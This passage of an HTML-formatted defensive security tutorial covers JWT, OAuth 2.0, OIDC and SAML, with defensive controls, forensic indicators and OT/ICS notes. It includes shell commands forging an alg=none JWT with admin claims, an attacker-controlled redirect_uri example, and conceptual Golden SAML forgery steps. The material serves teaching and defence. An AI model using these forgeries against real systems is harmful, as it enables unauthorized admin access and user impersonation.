&lt;/span&gt;&lt;span class="err"&gt;eyJhbGciOiJIUzI&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;NiJ&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;eyJzdWIiOiJqZG&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="err"&gt;lIiwicm&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="err"&gt;sZSI&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="err"&gt;ImFkbWluIn&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;sX...signature&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;Decoded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;header:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HS256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"typ"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"JWT"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Decoded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;payload:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"jdoe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1735689600&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 The Critical Vulnerability Class: &lt;code&gt;alg=none&lt;/code&gt; and Algorithm Confusion
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Demonstrating the classic JWT "alg:none" bypass concept (CVE-class issue,&lt;/span&gt;
&lt;span class="c"&gt;# affected numerous poorly-implemented JWT libraries circa 2015-2017)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'{"alg":"none","typ":"JWT"}'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt;       &lt;span class="c"&gt;# forged header&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'{"sub":"admin","role":"admin"}'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt;   &lt;span class="c"&gt;# forged payload&lt;/span&gt;
&lt;span class="c"&gt;# Result: header.payload. (empty signature)&lt;/span&gt;
&lt;span class="c"&gt;# A vulnerable verifier that trusts the client-supplied 'alg' field will&lt;/span&gt;
&lt;span class="c"&gt;# accept this with ZERO valid signature, granting admin claims outright.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A related class: &lt;strong&gt;RS256-to-HS256 algorithm confusion&lt;/strong&gt;, where an attacker takes a server's known-public RSA key and resigns a token using HS256 with that public key string &lt;em&gt;as the HMAC secret&lt;/em&gt; — if the verifier doesn't strictly pin the expected algorithm, it will accept the forged HMAC signature.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.5 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pin the expected algorithm server-side&lt;/strong&gt; — never trust the &lt;code&gt;alg&lt;/code&gt; header from the token itself.&lt;/li&gt;
&lt;li&gt;Keep token lifetimes &lt;strong&gt;short&lt;/strong&gt; (minutes, not days) and pair with refresh tokens that ARE revocable server-side.&lt;/li&gt;
&lt;li&gt;Store sensitive tokens in &lt;strong&gt;httpOnly, Secure, SameSite cookies&lt;/strong&gt; — never in &lt;code&gt;localStorage&lt;/code&gt;, which is trivially exfiltrated by any XSS.&lt;/li&gt;
&lt;li&gt;Implement &lt;strong&gt;token binding&lt;/strong&gt; (tying a token to a TLS channel or device fingerprint) for high-assurance use cases.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Inspecting a JWT quickly without trusting any tooling that auto-verifies&lt;/span&gt;
&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJqZG9lIn0.xxx"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; 2&amp;gt;/dev/null   &lt;span class="c"&gt;# decode header&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f2&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; 2&amp;gt;/dev/null   &lt;span class="c"&gt;# decode payload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.6 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Look for tokens with &lt;strong&gt;unexpectedly long lifetimes&lt;/strong&gt;, tokens issued with &lt;code&gt;alg&lt;/code&gt; values outside your expected set, and replay of the same token from &lt;strong&gt;multiple distinct IP/geolocation pairs&lt;/strong&gt; in a short window — the latter is a strong session/token theft indicator.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.7 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Modern OT cloud-connectivity platforms (vendor remote-monitoring portals, digital twin platforms) increasingly issue API tokens to field gateways. A leaked, long-lived, unscoped token to a cloud telemetry API can become a pivot point into the vendor's broader tenant — treat every OT-to-cloud integration token with the same scrutiny as a privileged credential, and scope tokens to the &lt;strong&gt;minimum API surface&lt;/strong&gt; the device actually needs.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; A stolen valid token is functionally equivalent to a stolen password — but often invisible to password-rotation policies. Short lifetimes and strict algorithm pinning are what make tokens safe.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. OAuth 2.0
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 First Principles — OAuth Is Authorization, Not Authentication
&lt;/h3&gt;

&lt;p&gt;This is the single most common misconception in the industry: &lt;strong&gt;OAuth 2.0 was designed to delegate authorization (access to resources), not to prove identity.&lt;/strong&gt; "Login with Google" &lt;em&gt;feels&lt;/em&gt; like authentication, but raw OAuth alone doesn't standardize &lt;em&gt;who&lt;/em&gt; the user is — that gap is exactly what OpenID Connect (Section 8) was built to close.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 The Four Roles
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────┐      ┌──────────────────┐
│   Resource    │      │  Authorization    │
│   Owner       │      │  Server            │
│  (the user)   │      │ (e.g. accounts.    │
└──────┬───────┘      │  google.com)       │
       │               └────────┬──────────┘
       │ grants consent          │ issues token
       ▼                         ▼
┌──────────────┐      ┌──────────────────┐
│   Client      │◄────►│  Resource         │
│ (3rd-party app)│      │  Server            │
│               │      │ (e.g. Google Drive │
│               │      │  API)              │
└──────────────┘      └──────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 The Authorization Code Flow (the only flow you should use for web apps)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;1. Client redirects user to Authorization Server:
   GET https://auth.example.com/authorize?
       response_type=code
       &amp;amp;client_id=abc123
       &amp;amp;redirect_uri=https://app.example.com/callback
       &amp;amp;scope=read:profile
       &amp;amp;state=xyz789RANDOM      # CSRF protection — MUST be unguessable
       &amp;amp;code_challenge=BASE64URL(SHA256(code_verifier))   # PKCE
       &amp;amp;code_challenge_method=S256

2. User authenticates + consents at Authorization Server.

3. Authorization Server redirects back:
   GET https://app.example.com/callback?code=AUTH_CODE&amp;amp;state=xyz789RANDOM

4. Client exchanges code for token (server-to-server, NOT browser-visible):
   POST https://auth.example.com/token
       grant_type=authorization_code
       &amp;amp;code=AUTH_CODE
       &amp;amp;redirect_uri=https://app.example.com/callback
       &amp;amp;client_id=abc123
       &amp;amp;client_secret=SECRET
       &amp;amp;code_verifier=ORIGINAL_RANDOM_STRING   # PKCE proof

5. Authorization Server returns:
   { "access_token": "...", "refresh_token": "...", "expires_in": 3600 }
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 PKCE — Why It Exists
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;PKCE (Proof Key for Code Exchange, RFC 7636)&lt;/strong&gt; was introduced because the authorization code, transmitted via browser redirect, can be intercepted (malicious app on the same mobile device registering the same custom URI scheme, or a referrer leak). PKCE binds the code exchange to a secret (&lt;code&gt;code_verifier&lt;/code&gt;) only the legitimate client holds, so an intercepted &lt;em&gt;code&lt;/em&gt; alone is useless without it. &lt;strong&gt;PKCE is now mandatory best practice for all client types&lt;/strong&gt;, not just public/mobile clients.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.5 Documented Real-World OAuth Vulnerabilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Open Redirect via &lt;code&gt;redirect_uri&lt;/code&gt;&lt;/strong&gt; — if the authorization server doesn't strictly validate the redirect URI against an exact allow-list, an attacker can register &lt;code&gt;https://app.example.com.attacker.com/callback&lt;/code&gt; or exploit a loose wildcard match, redirecting the authorization code straight to themselves.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2022-31093 (Keycloak)&lt;/strong&gt; and various other IdP-specific OAuth/OIDC redirect validation flaws over the years have allowed token/code theft via crafted redirect URIs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;state&lt;/code&gt; parameter omission&lt;/strong&gt; — enables CSRF login attacks where an attacker tricks a victim into completing an OAuth flow that links the &lt;em&gt;attacker's&lt;/em&gt; third-party account to the &lt;em&gt;victim's&lt;/em&gt; session.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual detection: searching IdP logs for authorization requests&lt;/span&gt;
&lt;span class="c"&gt;# with redirect_uri values OUTSIDE the registered allow-list&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"redirect_uri="&lt;/span&gt; auth_server.log | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"app.example.com/callback"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.6 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Exact-match allow-listing of redirect URIs&lt;/strong&gt; — never substring or wildcard match.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Always require and validate &lt;code&gt;state&lt;/code&gt;&lt;/strong&gt; to prevent CSRF.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Always use PKCE&lt;/strong&gt;, even for confidential (server-side) clients.&lt;/li&gt;
&lt;li&gt;Use the &lt;strong&gt;least-privilege &lt;code&gt;scope&lt;/code&gt;&lt;/strong&gt; requested — never request broader scopes than the integration needs.&lt;/li&gt;
&lt;li&gt;Treat &lt;code&gt;client_secret&lt;/code&gt; as a credential: rotate it, never commit it to source control (a chronic real-world finding in public GitHub repos via automated secret-scanning).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7.7 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Authorization-server logs should show the full redirect_uri, scope, and client_id per grant. An anomaly to hunt: a token issued with a &lt;strong&gt;scope broader than the client's registered/expected scope set&lt;/strong&gt;, or a sudden spike in token requests from a single client_id across many distinct user accounts (credential-stuffing-style abuse of a third-party OAuth app).&lt;/p&gt;

&lt;h3&gt;
  
  
  7.8 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;OAuth increasingly governs access between &lt;strong&gt;OT vendor cloud platforms and enterprise SSO&lt;/strong&gt; (e.g., a turbine vendor's remote diagnostics portal federating into the customer's IdP). The risk: an over-broad &lt;code&gt;scope&lt;/code&gt; granted to a vendor integration can become a standing, often-forgotten bridge between corporate identity and OT vendor cloud infrastructure. Audit OAuth app consent grants in your tenant &lt;strong&gt;specifically for OT-vendor applications&lt;/strong&gt; on a recurring schedule — these are rarely reviewed after initial setup.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; OAuth tells you what a token can &lt;em&gt;do&lt;/em&gt;; it never by itself tells you &lt;em&gt;who&lt;/em&gt; the user &lt;em&gt;is&lt;/em&gt;. Confusing authorization with authentication is the root cause of an entire category of "Login with X" vulnerabilities.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. OpenID Connect (OIDC)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 First Principles
&lt;/h3&gt;

&lt;p&gt;OIDC is a thin &lt;strong&gt;identity layer built on top of OAuth 2.0&lt;/strong&gt;. It adds one critical artifact OAuth never defined: the &lt;strong&gt;ID Token&lt;/strong&gt;, a signed JWT that asserts &lt;em&gt;who the user is&lt;/em&gt;, alongside the OAuth access token that governs &lt;em&gt;what the client may do&lt;/em&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OAuth 2.0 alone:           access_token   →  "you may call this API"
OAuth 2.0 + OIDC:          access_token   →  "you may call this API"
                           id_token (JWT) →  "this user is jdoe@corp.com,
                                              authenticated at time T,
                                              by issuer https://idp.corp.com"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 ID Token Structure (Decoded)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"iss"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://idp.corp.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9f8e7d6c-..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"aud"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"client-app-id"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1735693200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1735689600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"nonce"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"n-0S6_WzA2Mj"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"jdoe@corp.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email_verified"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Critical fields a defender must validate (and that vulnerable implementations historically skipped):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;iss&lt;/code&gt; — is this issuer the one you trust?&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;aud&lt;/code&gt; — was this token actually issued &lt;em&gt;for your client&lt;/em&gt;, not stolen from a different client of the same IdP?&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;exp&lt;/code&gt;/&lt;code&gt;iat&lt;/code&gt; — is it within validity window?&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;nonce&lt;/code&gt; — matches the one your client generated, preventing replay of a stale ID token.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  8.3 Documented Vulnerability Pattern: Missing &lt;code&gt;aud&lt;/code&gt; Validation
&lt;/h3&gt;

&lt;p&gt;If a relying party fails to check &lt;code&gt;aud&lt;/code&gt;, an attacker who legitimately obtained an ID token for &lt;strong&gt;a different, less-trusted client application&lt;/strong&gt; of the &lt;em&gt;same&lt;/em&gt; IdP can replay that token against the higher-trust application — because the IdP's signature is valid, just not meant for this audience. This exact class of bug has appeared repeatedly across OIDC library implementations and is a standard finding in IAM security assessments.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.4 Discovery and JWKS — How Trust Is Established at Scale
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# OIDC discovery document — published at a well-known URL, tells clients&lt;/span&gt;
&lt;span class="c"&gt;# everything they need: token endpoint, issuer, supported scopes, and&lt;/span&gt;
&lt;span class="c"&gt;# crucially, the JWKS URI for signature verification keys&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://idp.corp.com/.well-known/openid-configuration | jq &lt;span class="nb"&gt;.&lt;/span&gt;

&lt;span class="c"&gt;# Example relevant fields returned:&lt;/span&gt;
&lt;span class="c"&gt;# {&lt;/span&gt;
&lt;span class="c"&gt;#   "issuer": "https://idp.corp.com",&lt;/span&gt;
&lt;span class="c"&gt;#   "authorization_endpoint": "https://idp.corp.com/authorize",&lt;/span&gt;
&lt;span class="c"&gt;#   "token_endpoint": "https://idp.corp.com/token",&lt;/span&gt;
&lt;span class="c"&gt;#   "jwks_uri": "https://idp.corp.com/.well-known/jwks.json"&lt;/span&gt;
&lt;span class="c"&gt;# }&lt;/span&gt;

&lt;span class="c"&gt;# Fetching the actual public signing keys to verify ID token signatures&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://idp.corp.com/.well-known/jwks.json | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.5 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Validate &lt;strong&gt;every&lt;/strong&gt; claim — &lt;code&gt;iss&lt;/code&gt;, &lt;code&gt;aud&lt;/code&gt;, &lt;code&gt;exp&lt;/code&gt;, &lt;code&gt;nonce&lt;/code&gt;, signature — never trust just signature validity alone.&lt;/li&gt;
&lt;li&gt;Rotate signing keys regularly and always fetch them live from &lt;code&gt;jwks_uri&lt;/code&gt;, never hardcode a key.&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;nonce&lt;/code&gt; parameter on every authorization request to prevent ID token replay.&lt;/li&gt;
&lt;li&gt;Restrict which IdPs/issuers are trusted via an explicit allow-list — never accept "any valid JWT from anywhere."&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  8.6 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;ID token validation failures (bad &lt;code&gt;aud&lt;/code&gt;, expired &lt;code&gt;exp&lt;/code&gt;, signature mismatch) should be logged and alerted distinctly from generic auth failures — a spike in &lt;code&gt;aud&lt;/code&gt; mismatches across many requests suggests active token replay/confusion attack attempts against your relying party.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.7 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;OIDC underlies most modern &lt;strong&gt;cloud-based ICS/SCADA HMI access portals&lt;/strong&gt; (vendors increasingly offer browser-based HMI access federated through OIDC). Validate that these portals enforce strict &lt;code&gt;aud&lt;/code&gt; and &lt;code&gt;iss&lt;/code&gt; checks — a misconfigured OT vendor portal accepting tokens broadly scoped to "any corporate user" rather than the specific OT-access group is a documented category of finding in OT security assessments.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; OIDC's ID token answers "who," OAuth's access token answers "what" — verifying only the token signature without checking &lt;code&gt;iss&lt;/code&gt;/&lt;code&gt;aud&lt;/code&gt;/&lt;code&gt;nonce&lt;/code&gt; is equivalent to checking a passport's hologram but never reading the name on it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. SAML
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 First Principles
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;SAML (Security Assertion Markup Language)&lt;/strong&gt; is an XML-based standard for exchanging authentication and authorization assertions between an &lt;strong&gt;Identity Provider (IdP)&lt;/strong&gt; and a &lt;strong&gt;Service Provider (SP)&lt;/strong&gt;. It predates OAuth/OIDC and remains dominant in large enterprise SSO (Okta, Active Directory Federation Services / ADFS, PingFederate) because of its maturity and strong enterprise tooling support.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.2 The SP-Initiated Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; User           Service Provider (SP)        Identity Provider (IdP)
  │                     │                            │
  │── access app ──────►│                             │
  │                     │── AuthnRequest (redirect) ─►│
  │◄─────────── redirected to IdP login ──────────────┤
  │── credentials ─────────────────────────────────────►│
  │                     │     IdP authenticates user   │
  │◄──── SAML Response (signed XML Assertion) ──────────┤
  │── POST assertion ──►│                             │
  │                     │  SP validates signature,     │
  │                     │  trusts assertion, logs in   │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 Anatomy of a SAML Assertion (Simplified)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;saml:Assertion&lt;/span&gt; &lt;span class="na"&gt;ID=&lt;/span&gt;&lt;span class="s"&gt;"_a1b2c3"&lt;/span&gt; &lt;span class="na"&gt;IssueInstant=&lt;/span&gt;&lt;span class="s"&gt;"2026-06-28T10:00:00Z"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:Issuer&amp;gt;&lt;/span&gt;https://idp.corp.com&lt;span class="nt"&gt;&amp;lt;/saml:Issuer&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:Subject&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:NameID&amp;gt;&lt;/span&gt;jdoe@corp.com&lt;span class="nt"&gt;&amp;lt;/saml:NameID&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/saml:Subject&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;saml:Conditions&lt;/span&gt; &lt;span class="na"&gt;NotBefore=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt; &lt;span class="na"&gt;NotOnOrAfter=&lt;/span&gt;&lt;span class="s"&gt;"..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;saml:AudienceRestriction&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;saml:Audience&amp;gt;&lt;/span&gt;https://app.example.com&lt;span class="nt"&gt;&amp;lt;/saml:Audience&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/saml:AudienceRestriction&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/saml:Conditions&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;ds:Signature&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/ds:Signature&amp;gt;&lt;/span&gt; &lt;span class="c"&gt;&amp;lt;!-- XML digital signature --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/saml:Assertion&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Golden SAML — The Most Important Attack in This Section
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Golden SAML&lt;/strong&gt; is to SAML what Golden Ticket (Section 10) is to Kerberos. If an attacker compromises the &lt;strong&gt;IdP's private signing key/certificate&lt;/strong&gt; (e.g., the ADFS token-signing certificate), they can &lt;strong&gt;forge arbitrary SAML assertions offline&lt;/strong&gt;, impersonating &lt;em&gt;any user, with any attributes, for any service provider&lt;/em&gt;, without ever touching the real IdP, leaving no IdP-side authentication log.&lt;/p&gt;

&lt;p&gt;This is exactly what investigators concluded happened in the &lt;strong&gt;SolarWinds/Sunburst breach (2020)&lt;/strong&gt;: APT29 (Cozy Bear) extracted ADFS signing material from compromised environments and minted forged SAML tokens to access Microsoft 365 and other federated cloud services as any user they chose — entirely bypassing MFA, because MFA had already been satisfied "upstream" in the forged assertion's trust chain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual structure of a Golden SAML forgery (illustrative, not exploit code):&lt;/span&gt;
&lt;span class="c"&gt;# 1. Attacker extracts the IdP's private signing certificate (e.g. from&lt;/span&gt;
&lt;span class="c"&gt;#    AD FS server's certificate store or DKM container in AD)&lt;/span&gt;
&lt;span class="c"&gt;# 2. Attacker crafts an arbitrary SAML assertion XML naming any user/claims&lt;/span&gt;
&lt;span class="c"&gt;# 3. Attacker signs that XML with the stolen private key&lt;/span&gt;
